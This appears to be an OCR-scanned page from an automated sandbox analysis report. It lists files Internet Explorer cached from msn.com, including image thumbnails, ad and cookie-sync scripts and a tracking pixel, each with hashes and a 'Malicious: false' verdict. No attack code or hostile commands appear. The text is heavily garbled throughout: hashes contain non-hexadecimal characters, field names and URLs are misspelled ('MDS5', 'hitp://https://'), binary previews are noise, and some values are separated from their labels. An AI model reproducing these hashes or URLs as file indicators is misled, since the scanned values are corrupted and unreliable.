SHA-256: 0BAB4D055372136E1440543C5C5F340F6D4DCC6A7B4F301BE6A7FBAEG20AD7C8

SHA-512: 0A6C864CE6F11AC65D82104458210F42E93591BD241B3DE3B4845BF407BDB478866231ECCIE1CC58017EB670F40A0E5387B5C1C4F013DB5F816AD0A01C89D22
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHGk5.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHLiJ[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 20775

Entropy (8bit): 7.967270212955468

Encrypted: false

SSDEEP: 384:eM1p8D59spbZL20FKOgMMEMbNVyx7F2FnukcnEmLkA4yQ:eup8D3spbkEKoMEMbNVyxx2Fukn6c

MDS5: 66B71600B13AC2B0A75B1F12E129551E

SHA1L: E169621380C8A0D57A5F0668201D361712363D94

SHA-256: E6530D1F9753BBCD5CC2C01500358F387364CESE01FIFE845D02E54EF482BC4E

SHA-512: 05634D50EE8BBE2D1CIEBESEF2AD6AOAEB360C8DD34FA08168AAA216B6C020249CCF27343718E9A8155391525B5D87829EA2AEE1F6DF139359951C01BCOB10(
D

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHLiJ.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHqH1[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 16727

Entropy (8bit): 7.890731722624281

Encrypted: false

SSDEEP: 384:7IPFhwGYK16xIANXd2j)/RE9KYgo7jE/BpTZ2pK50IFhOUU:7IPWGY61Uj297gvTEKKTEUU

MDS5: AD771B594D8435B72EC3C554C8D24559

SHA1L: EF20299A044277D48BA2F7A48DAD911C9203961E

SHA-256: 3C22853E71F5E3D4E9720B982F816E98AICFCA3283DBC850807874B376E6EBDE

SHA-512: EF68769687686F4CE35982762F1BBDA9914CACOA37E5CCCIBB07BE61A2723588500D73EA8D634437B5AD988BDIA40B2A5BES6387AD5F2AB9650616324F290C7¢
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHqH1.img?h=368&w=622&m=6&q=60&u=t&0=t&I=f&f=jpg
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Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\INUEPGTR9\BB1dHrIW[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7812

Entropy (8bit): 7.9211678774758845

Encrypted: false

SSDEEP: 192:BCpFtOhwMHqym7V6XcIWEdiXFL94BxGyFfIx4:k9awMHZBXAWqyf4zZF44

MDS5: 38E61C71122A35B71CF2E7BF2B3AA948

SHA1L: B6EEF9ACA7B390E89CD5F407C8170F71ACA4D78B

SHA-256: ABBBBFIF97547C8745B0C1B4D77F174663DF516AC5285D71CB013CC4186D5FEE

SHA-512: 60DBE302287D0CCF6BD494CC24DBD1337E89EF573C392EE076FA48230DD60B452660155437181FD5C5D9092B1255C5E3350D2BDEAD8F7D33976A3AD1D82FAF
9

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHrlW.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHXEf[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 310x166, frames 3

Category: downloaded

Size (bytes): 8561

Entropy (8bit): 7.920801102370238

Encrypted: false

SSDEEP: 192:xFzQfDh+eQIrfCm3XGDSooflbOkFFkgmSdWWx4om:fz2fbB3SowYMFFbx4om

MDS5: 83A95EEF6F7E70E818BB1F9716F53FBD

SHA1L: DBDEEB383722F3AE48B5BD5140A23DB2141A1A39

SHA-256: 45AAESE29E9516A54EA865F8E7738C1ACDEGEO003BD7830F197FE51D88D43687

SHA-512: 1B7AC6B3DEFAE3F65A4C18D82346D43C635D3070F562402405462CC785BD31B3B7AE3C59704AA0027560C4A5C2E71C2965FC3D860ADB7CAB36E43CB7FOF8FE
A

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHxXEf.img?h=166&w=310&m=6&0q=60&u=t&o=t&I=f&f=jpg

Preview:
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LA#<AZK TG ] "F.5..X]c. > mS r+)S.Z.T*.0..%.A. ..p..I5~...qv....c....N

[....D(.YnUIR~.=KR? Wu3.....Y..NL..8...E.U" 4+~ ..@;.b...d....cIb.E.@."i....0<.?....@ .o $.u. T 71..N.. $.1$ p

OAL,V7M..z.H.Rx........ (a..8*.E

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dI7Wd[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 8703

Entropy (8bit):  7.854263285778846

Encrypted: false

SSDEEP: 192:BYOQHOoxXNLt8fEBe8qHMb4ZMphONkQdWDhZVzH8k|l0:eOIWLtPO08qgGQMphOW9ID9zH8KK

MD5: 1DC4E26F46296E53A12B4BD9D8C917F0

SHA1L: 7DBEFO6ACBB84FDA194B52CD63B6811E1B2925EE

SHA-256: 19BFCD1F9D7371CFA501157AF679D8F434093CF77AD0B868C68127331B199A61

SHA-512: 0CA22252B9AC6C6BC891E1F7702B0B8282E854F7BFFD8902282905A4C6716ADCCB8DE7AC3A08B7FE94C224B80CE9B6FF747E2B7A9D1BB7568EBE102AB633AS
1F

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1d17Wd.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

Copyright null 2021 Page 45 of 74



C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dI7Wd[1].jpg

Preview:

ijstuvwxyz.... &'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. cndNLL@: ] BBIXA' L Lrs).Z.19. k. H.).V.CS........ ~=...QP..S.MjAv....
L=M.SZ.......m.g.k..;.....ch.9.1."....Z\...u.Ya.Q..Rfd..q\..4s...y.... 0j..u...)&...Q.u....1K.1@..)gF(.....P.QK.1@....b...J)gF(..)gF(.(..b...Z(...P(.R.*H

idX.e....... ‘Nk...8........ 8..x.*..00.......6.J. > k.AM,....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB7gRE[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

482

7.256101581196474

false

12:6v/78/kFLsiHANE30WxYZOjNO/wpc433jHgbc:zLeO/wc433Cc
307888COF03ED874ED5C1D0988888311
D6FB271D70665455A0928A93D2ABDIDICOF4E309
D59C8ADBE1776B26EB3A85630198D841F1A1B813D02A6D458AF19E9AADO7B29F

6856C3AA0849E585954C3C30B4C9C992493F4E28E41D247C061264F1D1363C9D48DB2BIFA1319EA77204F55ADBD383EFEE7CF1DA97D5CBEAC27EC3EF36DEFI
8E

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7gRE.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

(J....wIDAT80.RKN.O.J\....U...c-.. .. 8.{$..2.@....+....... K...%)..
(m.*3. .L.p..,.c.>\<H.0.*...,w:.F.m...8c,.M........ E...... S..G.%.y.b...Ab.V.-}=.."m.O..L...g....]N.).w..\.v A u.. k..0.....R.....cL.N...DN")x
LEh|wg..l........ @.$.2]....18.8).t.y. W.H.HW.8..B..."........ IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB7hg4[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

458

7.172312008412332

false
12:6v/78/kFj13TCI3wFdwrWZdLCUYzn9dct8CZsWEOoROY8/9ki:u138apdLXgxCS7D2Y+
AAF438CAD14EOE2CA9EEC23174BBD16A
41FC65053363E0EEE16DD286C60BEDE6698D96B3
9D9BCADE7A7F486C0C652C0632F9846FCFD3CC64FEF87ES5C4412C677C854E389

FD41BCD1A462A64E40EEES58D2ED85650CE9119B2BB174C3F8E9DAG7D4A349B504E32C449C4E44E2B50E4BEB8B650E6956184A9E9CD09BOFASEA2778292B01E
A5

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hg4.img?h=16&w=16&m=6&q=60&u=t&o=t&|=f&f=png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\BBIbTiS[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

820

7.627366937598049

false
24:U/69J3+qQtUHYXNAM43wuJFnNFMDF3AJ12DG7:U/6gMqQtUSXNT43BFnsRACC
9B7529DFB9B4E591338CBD595AD12FF7
0A127FA2778A1717D86358F59D9903836FCC602E
F1A3EAODF6939526DA1A6972FBFF8844C9AD8006DE61DDI8AID8A2FB52E1A25D

4154EC25031ED6BD2A8473F3C3A3A92553853AD4DEFBD89DC4DD72546D8ACAF8369F0B63A91E66DC1665CE47EES8DIFDD2CA4EEFCC61BF13C87402972811AB
27

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBIbTiS.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

PNG........ IHDR...coovrvinn a...sRGB......... gAMA.....a....pHYS ..o IDAT80.S.K.Q...m.[.L\.,%I*..S..... "Nz A .- Bz....MA+........... {W...p.9.;s..hz +. #..3.P..
p.z5.~.x>.D..h.~-m..Z..c.5.n.w..S."..U... X.0...;} ...} ..<S..7.Pk. T K. _E.%x.?eRp..{...9 oyl s e TM)..Z.mdQ........ sY .q..,.TLy. 0.y..."2.. H..Y...SB.
.2.b.v.ELp...~u.S...."8..x1{0....U..Q...._.aO.KV.D\..H..G..#.G.@.u....... 3....sXc.2s.D.B.. z....I....y...E.v.LM0.&k".g....C.".*..Q..L.6.0& " 1@..|..7.$Zq...J.. X..ib?,.;&.....7..Q.
Q.,Bg.&...... #0...0.5 AK. <. +.Z2.V..& ....I.4t.... g....B.+-.L3...;ng> }(....y.....PP.-.q.... TB........ |HR..w..-....F.....p...3.,.x..q..0..D......)..Vd.....IEND.B".
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BBVuddh[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 304

Entropy (8bit): 6.758580075536471

Encrypted: false

SSDEEP: 6:6v/IhPkR/ChmU5nXyNbWgaviGjZ/wtDi6XxI32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/

MD5: 245557014352A5F957F8BFDAB7A3E966

SHA1L: 9CD29E2AB07DC1FEF64B6946E1F03BCCOA73FC5C

SHA-256: 0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

SHA-512: 686345FD8667C09F905CA732DB98D0O7E1D72E7ECDIFD26A0C40FEEBE8985F8378E7B2CB8AE99C0O71043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDEY4
05

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:
PNG........ IHDR...coovrvin a...sRGB......... gAMA.....a....pHYs.......... +.....IDAT80...P...3....v.."0.}...".."XD.".".5.3. ....)..&-.........d.0.MSC.i..%.8%].}....M.SIOM..U.. ..., 9....
i..X.<y.E.M..qg..."..,5+.].BP.5.>R...iJ.0.7.|2....r\-Ca.....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\checksync[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301767642140402

Encrypted: false

SSDEEP: 384:RgAGcVXIblcgnzleZSug2f5vzBgF30Z0sQWwY 4R Xrqt:+86ghbz2RmF30ssQWwY4RXrqgt

MD5: 97A17EFCA6ECAE418CACBBF6AE41B0B1

SHA1L: 31235CDB60298018C1COD1EFE712FF3281A7B29B

SHA-256: 00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

SHA-512: DA7EE38B51F31BDA399E68ACID6CAT7532C846C7BFA66E94F40CB7C6382F1A64F0567A3BCEBSD12E1F37F84F4765FF703405309E6A545FE8D482BOEFEAAE9ES:
5

Malicious: false

Preview:

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal sepTime
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup™":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSite Support":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:V\Vcslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\checksync[2].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301767642140402

Encrypted: false

SSDEEP: 384:RgAGcVXIblcgnzleZSug2f5vzBgF30Z0sQWwY 4R Xrqt:+86ghbz2RmF30ssQWwY4RXrqt

MD5: 97A17EFCA6ECAE418CACBBF6AE41B0B1

SHA1L: 31235CDB60298018C1COD1EFE712FF3281A7B29B

SHA-256: 00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

SHA-512: DA7EE38B51F31BDA399E68ACIDECAT7532C846C7BFA66E94F40CB7C6382F1A64F0567A3BCEBSD12E1F37F84F4765FF703405309E6A545FE8D482BOEFEAAE9ES:
5

Malicious: false

Preview:

<html> <head></head> <body> <script type
" "vsDaTime":31536000,"c
cocs":0},"brx":

="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor’
"CH","zone":"d"},"cs ‘cookie":"data-g name":"vzn","cookie":"data-
! " "cookie":"data-br","isBI":1,"g":0,"coc: {"name’ "cookie":"data-Ir", cocs":0}},"hasSameSiteSupport":"
0" "batch"'{"gGroups ["apx","csm","ppt","rbcn”,"son","bdt","con","opx","tIx","mma","c1x","ys","sov" g","pb","dxu", "rkt" "trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:VVcslogger.

{"vka" "V|S|tor id","vsDaCk":"data","sepVal":"|","sepTime'

{"name":"brx

@
s
)

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\e151e5[1].gif

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: GIF image data, version 89a, 1 x 1

Category: downloaded

Size (bytes): 43

Entropy (8bit): 3.122191481864228
Encrypted: false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\e151e5[1].gif

SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

3:CUTxIs/1h/:7IU/

F8614595FBA50D96389708A4135776E4

D456164972B508172CEE9D1CC06D1EA35CA15C21

7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOEC093ECEADO37083FA40A075819D2
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif

GIF89a..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\fcmain[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines, with no line terminators

downloaded

38175

5.067755899187655

false
768:z1avn4u3hPP4W94hRhnSN1pJYXfOwOBEZn3SQN3GFI2950PulljBHulLsyvi:5Qn4uRoWmhRhnopJYXfOwOBEZNn3SQN3R
2956BFFB911015E64C30CCD653E51195

87EC2EAG69A53AA0E18115D7D01670CB437887C2E
646DDF2438EB8B5E5600B003DDA3B3D6ADF560518DEC68FC93625AB888738709

7A2F8D705E0698650A7EA9CD4C3DA863BD1A31557F980249E273E5DABCCOD66C7B7122AA10D0C5D1B71BCOAEC355A503510E836B28C8DA420877ADE7001884
7

false

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGroA%3D%3D&crid=722878611&size=306x271&cc=CH&https=1&vif=2&requrl=https%3A%2F%2Fwww.msn.co
m%2Fde-ch%2F%3Focid%3Diehp&nse=5&vi=1613433459490697463&ugd=4&rtbs=1&nb=1&ch=window._mNDetails.initAd

;window._mNDetails.initAd({"vi":"1613433459490697463","s":{"_mNL2":{"size":"306x271","viComp":"1613432825684901417","hideAdUnitABP":true,"abpl
":"3","custHt":"™","setL.3100":"1"},"lhp":{"I2wsip":"2886781032","[2ac™:"","sethcsd":"set!N7|983"},"_mNe":{"pid":"8P0O641UYD","requrl":"https://www.msn.com/de-ch/?
ocid=iehp#mnetcrid=722878611#"},"_md":[],"ac":{"content":"<IDOCTYPE HTML PUBLIC \"-\WW3C\WWDTD HTML 4.01 TransitionalV\WEN\" \"http:\/\/www.w3.orgVVTRVhtml
4Vloose.dtd\">\r\n<html xmIns=\"http:\\/www.w3.0rg\/1999Vxhtml\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{ba
ckground-color: transparent;}<V/style><meta name=\"tids\" content=\"a="800072941' b="803767816' c="msn.com' d="entity type'\" \/><script type=\"textVjavascript\">try{win
dow.locHash = (parent._mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"722878611\"\"1613433459490697463\")) || (parent._m
NDetails[\"locHash\"] && paren

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\fcmain[2].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines, with no line terminators

downloaded

38517

5.061001593163778

false
768:Ulav44u3hPPPW94h5FEEJ3SrYXfOwOBEZNn3SQN3GFI2950ThlIV/thIUsP:kQ44uR/Wmh5FZICrY XfowOBEZn3SQN35
727D05342EEB61D6D80E906460C1DEB6

F2B91178387E8A2213B1CDF5A8DB63762D8C2834
C162848F32B53E5FFA42FE454FC1910BCFE83DDC461A09E02F6311EE940CB722

AD33C88A581FA67EACD407CFC54DC39AA518F69C5D60CF968CB0300A0ACCS51DAA4928AACA3D7D4918F58282F0F3B9CBD297B1546D4EA79B785C5A005D309B
B9

false

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGroA%3D%3D&crid=8584122148&size=306x271&cc=CH&https=1&vif=2&requrl=https%3A%2F%2Fwww.msn.co
m%2Fde-ch%2F%3Focid%3Diehp&nse=5&vi=1613433459707163004&ugd=4&rtbs=1&nb=1&ch=window._mNDetails.initAd

;window._mNDetails.initAd({"vi":"1613433459707163004","s":{"_mNL2":{"size":"306x271","viComp":"1613432325518932237","hide AdUnitABP":true,"abpl
""3" "custHt":"","setL.3100":"1"},"lhp":{"I2wsip":"2887305228","[2ac™:"","sethcsd":"set!N7|983"},"_mNe":{"pid":"8PO8WH20T","requrl":"https://www.msn.com/de-ch/?
ocid=iehp#mnetcrid=858412214#"},"_md":[],"ac":{"content":"<IDOCTYPE HTML PUBLIC \"-\WW3CWWDTD HTML 4.01 TransitionalV\WVEN\" \"http:\/\/www.w3.orgVVTRVhtml
4Vloose.dtd\">\r\n<html xmIns=\"http:\\/www.w3.0rg\/1999Vxhtml\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{ba
ckground-color: transparent;}<\/style><meta name=\"tids\" content=\"a="800072941' b="803767816' c="msn.com' d="entity type'\" \/><script type=\"textVjavascript\">try{win
dow.locHash = (parent._mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"858412214\" \"1613433459707163004\")) || (parent._m
NDetails[\"locHash\"] && paren

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\http___cdn.taboola.com_libtrc_static_thumbnails_199655af051ff7c0f5750635

€94a1c08[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: downloaded

Size (bytes): 43979

Entropy (8bit):  7.983726195586281

Encrypted: false

Copyright null 2021
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\http___cdn.taboola.com_libtrc_static_thumbnails_199655af051ff7c0f5750635
€94a1c08[1].jpg

SSDEEP: 768:aEn6uZxzdJ0+kexGOh1UJCKV6tgif40Ge2vIJOpEMV+ALGNUOLmWunrzL+ay+ONJ:N6u9pkexGLICKk1f40mvzOh+AuGOLnuA

MD5: ABBCAD136C683AFFDD2E13F6FF9D8064

SHA1L: C64BC83FD3154EE63845D9F882C8C44C9B7F8D30

SHA-256: DFD4CCBBA01062D701E1B75DCOAB53FE0198123617B4E377DDF9101FE7COCIOFF

SHA-512: 528D62FD14D4F062E2D54D7053992C22DCD53B27583E0038D567984F270E970C383B77FDCC39C948F5D0B3EE05447366162200E1CCA0302364AA273376DB374E
Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F199655af051ff7c0f5750635e94a1c08.jpeg

Preview:
...... JFIF e & &O-035T eSOV (LN (D) B TIESIISICH oo T Beeeeeee e
..7.}3.8U._"s.3%k...Z. .M. %R....9.mM..gr...10....n..a.U....~...e.K.Z..S.OC....e..TU....[...E..].S.2L..ri..sl.....V...F.p>.3?bz..3.1.f."..r.."/]10.c.4{’j..A...x.y..0A.g.\....g...W8..
...E.6Jh.Y]E.R..-R..[$....$.J.IRQ.10C?....0./>...z......d|,b> B....h..J<\J.;0..}.%;.w......OW.5..~y>..Z.. 4H}.{ k....F..f.?2@...A.\.T..A0.BY...}o..E ]....0..=s..C~. K...]
y..Fs1..V.A..Zg3.Al.p..k{...M.AJ..h&..=.D..OP[("V..Re.?..5 (.Vi&r..._3T.C5.#.3..{42.{N...@....c..%.]...f*.. = . 9hQRZ) U~ K. )10z,
iSILWS3.£.Q.CP[2**.-6..Q.5.%....(..;.q.R..r...].w..b. <E.K....j" P.M..Q"}0...7Tlh.....r...+.1.xr.|.5w....q.u.R..4u.l...C..~v.}..<#X

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\http___cdn.taboola.com_libtrc_static_thumbnails_3e4db03aeb2732
6fa409d0201601c66d[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3

Category: downloaded

Size (bytes): 10928

Entropy (8bit): 7.956030588292682

Encrypted: false

SSDEEP: 192:L6zIgp97Pzn186KnXg5acKZ4KdQiTD/DetwAlM/6¢c+8MefgXIS5UIG:0JeZzJ+y4QiTD/DeH/63GiV6+

MDS5: 0C1A16B7BE63A652982673F6557DC826

SHA1L: 57270462703461486071ABBABCO9E0A4D763AC81

SHA-256: 708CCCB9C1594400AC6F3AD998B498A9EEDCC50A8A6194EA633CIDCHD656B139

SHA-512: 2D0937F8E4547A895BAFACF1644CC7F465F5D081BF4B600ABDC8C7A275E69B335A0A4C5452DFFBE1CB1ABF6C62FFEB2D1CFF672755764F3B3274A0140E4784:%
F

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F3e4db03aeb27326fa409d0201601c66d.jpg

Preview:
...... JFIF . ciieCaiiicciece 81 " #..(7),01444./9=82<.342....C......) . ) W: LWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWW......7........... HV5CN...jy. Koo b.@..
8K N..&..\.N:..WT.0..I..q8z.4...&fP...5|..p.51J ..4.2.A.3N;B.Z1..\.T...8."
..v]..R.0.;.1...}.7VE....2....V.&P...9.R]>....UY.zn6...Ej........(Md....JBMX.......T..>. %" lafw.Y.Mft...*a..Rc.9.jj.N~..NLBW;f.... 0...9-..PY.f..6..@. k.|.u.
VeQ...A@.Z...Kx.;9#k.5..G 1...... @.".>Z..0K.i#

O W 8. A..7..f..Zg.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\http___cdn.taboola.com_libtrc_static_thumbnails_5adcd3297975b1
8c4dde5a2cdcc5baf98[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3

Category: downloaded

Size (bytes): 12509

Entropy (8bit): 7.913387844393485

Encrypted: false

SSDEEP: 192:nsLx413XnbnN5PWnleVcuMFQOb+dEmJINYIHc8dvWVzPJIKYVcsaS3rogQZvyVuOs:stf+9uiOb+djimt8hWIP4YVchvyVul1l08

MDS5: B6A362280017036B3ABE2C7699F7967B

SHA1L: 69EF87DD3FCBCB8E8D1B58128D637DBIDI4E849A7

SHA-256: 237ECF3B681ECA16A6380E711E6BA2F91655F92891F7500E21DE5390FF5D92CD

SHA-512: 100ABC6D78CE4A1AEB5C5A200B1A1DEFSFEF708DAE3E1DA474799FAEAS5A376C7F202C4E8701379E1014929DF1EECD20656 CA4D4FIF6975C34CF30FFDB56465¢
AB

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F5adcd3297975b18c4de5a2cdcc5baf98.jpg

Preview:

&"&0-0>>T i $.....$ &...& 9-"-9B747BOGGOd_d......... T Bttt
